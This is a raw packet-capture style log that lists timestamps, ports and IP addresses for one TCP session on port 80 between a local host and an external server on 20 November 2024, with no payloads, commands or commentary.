Nov 20, 2024 12:57:40.159977913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.160018921 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.160052061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.160085917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.160120964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.160187960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.160190105 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.160223961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.160271883 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.160271883 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.160931110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.160964966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.160993099 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.161000013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.161026955 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.161043882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.250195980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.250246048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.250312090 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.250372887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.289570093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.289645910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.289668083 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.289705992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.289705992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.289742947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.289745092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.289779902 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.289781094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.289819956 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.289875031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.289915085 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.289999008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.290030956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.290044069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.290066004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.290067911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.290107012 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.290179014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.290229082 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.290822029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.290858984 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.290869951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.290895939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.291049957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.291095018 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.291105032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.291146040 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.291153908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.291183949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.291275978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.291322947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.291333914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.291371107 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.291968107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.292025089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.292040110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.292077065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.292079926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.292114973 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.292211056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.292246103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.292267084 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.292285919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.292821884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.292889118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.419229031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.419251919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.419265032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.419339895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.419353008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.419362068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.419368982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.419415951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.419653893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.419666052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.419689894 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.419715881 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.419847965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.419858932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.419871092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.419893980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.419919014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.420037985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.420049906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.420084000 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.420612097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.420624018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.420634985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.420660973 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.420694113 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.420821905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.420834064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.420845985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.420871019 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.420897961 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.421560049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.421572924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.421585083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.421627045 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.421653032 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.421762943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.421775103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.421787024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.421811104 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.421837091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.422487974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.422501087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.422512054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.422542095 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.422569036 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.422619104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.422662973 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.422676086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.422688961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.422718048 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.422735929 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.423459053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.423470974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.423481941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.423520088 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.423563957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.423662901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.423674107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.423686028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.423712969 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.423747063 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.424308062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.424362898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.424365997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.424379110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.424401999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.424418926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.424527884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.424540043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.424551964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.424572945 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.424598932 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.425299883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.425350904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.425677061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.425720930 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.548537970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.548582077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.548593998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.548665047 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.548669100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.548680067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.548691034 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.548697948 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.548703909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.548727036 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.548743963 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.549005985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.549016953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.549029112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.549042940 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.549072027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.549253941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.549264908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.549277067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.549293041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.549320936 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.549509048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.549520016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.549530983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.549545050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.549563885 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.549784899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.549796104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.549808025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.549820900 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.549839973 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.550076962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.550087929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.550098896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.550111055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.550116062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.550127029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.550142050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.550172091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.550530910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.550542116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.550553083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.550563097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.550565958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.550575018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.550585985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.550596952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.550597906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.550607920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.550618887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.550626993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.550642967 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.550669909 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.551278114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.551295042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.551306963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.551320076 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.551322937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.551335096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.551336050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.551345110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.551357031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.551372051 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.551390886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.551879883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.551891088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.551902056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.551913977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.551923037 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.551924944 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.551935911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.551947117 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.551948071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.551966906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.552001953 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.552512884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.552522898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.552534103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.552545071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.552556038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.552565098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.552568913 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.552576065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.552587032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.552608013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.552624941 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.553677082 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.553733110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.553735018 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.553745031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.553769112 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.553791046 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.553944111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.553955078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.553966045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.553988934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.554019928 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.554155111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.554166079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.554177046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.554188013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.554194927 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.554198980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.554209948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.554220915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.554223061 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.554244995 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.554260969 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.554582119 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.554591894 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.554604053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.554622889 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.554647923 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.554776907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.554788113 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.554801941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.554821014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.554847002 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.554991961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.555003881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.555028915 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.555047035 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.555057049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.555068016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.555078983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.555089951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.555094957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.555102110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.555119038 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.555149078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.555540085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.555551052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.555562019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.555573940 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.555582047 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.555586100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.555597067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.555600882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.555609941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.555622101 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.555654049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.637306929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.637382984 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.637394905 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.637420893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.637434006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.637455940 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.637470961 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.637492895 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.637515068 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.637554884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.678047895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678066015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678076982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678215027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.678260088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678270102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678282022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678299904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.678333044 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.678391933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678402901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678415060 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678426027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678428888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.678472042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.678714991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678725958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678759098 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.678879976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678889990 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678901911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678913116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678924084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678925991 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.678935051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678939104 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.678946018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.678957939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.678987026 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.679394007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.679404974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.679436922 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.679591894 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.679601908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.679620028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.679629087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.679632902 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.679639101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.679651976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.679657936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.679675102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.679686069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.679696083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.679703951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.679713011 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.679747105 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.680469036 CET	80	49730	185.215.113.206	192.168.2.4
